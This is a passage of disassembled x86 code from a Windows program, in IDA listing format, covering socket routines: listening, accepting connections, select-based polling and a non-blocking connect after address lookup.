		call	dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------


loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------


loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32


loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6


loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11


loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax


loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------


loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax


loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------


loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0


loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax


loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67


loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------


loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------


loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------


loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh


loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DE08, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------


loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------


loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------


loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx


loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax


loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------


loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE


loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------


loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------


loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax


loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0


loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------


loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------


loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------


loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0


loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE54	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------


loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------


loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DE5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
